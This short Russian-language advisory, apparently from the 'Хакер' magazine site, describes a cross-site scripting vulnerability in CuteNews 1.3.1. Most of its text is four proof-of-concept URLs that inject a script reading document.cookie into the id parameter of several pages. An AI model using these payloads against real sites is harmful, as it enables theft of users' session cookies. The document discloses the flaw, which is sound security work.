Межсайтовый скриптинг в CuteNews

Рекомендуем почитать:

Хакер #306. OAuth от и до

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: CuteNews 1.3.1 

Уязвимость в CuteNews позволяет удаленному пользователю выполнить XSS нападение. 

Пример: 

http://[target]/show_archives.php? subaction=showcomments&id=<script>
alert(document .cookie);</script>&archive=&start_from=&uca&p

http://[target]/show_news.php? subaction=showcomments&id=<script>alert(
document.cookie);</script>&archive=&start_ from=&uca t=&a

http://[target]/example1.php?subaction= showfull&id=<script>alert(document
.cookie);</script>

http://[target]/example2.php?subaction= showfull&id=<script>alert(document
.cookie);</script>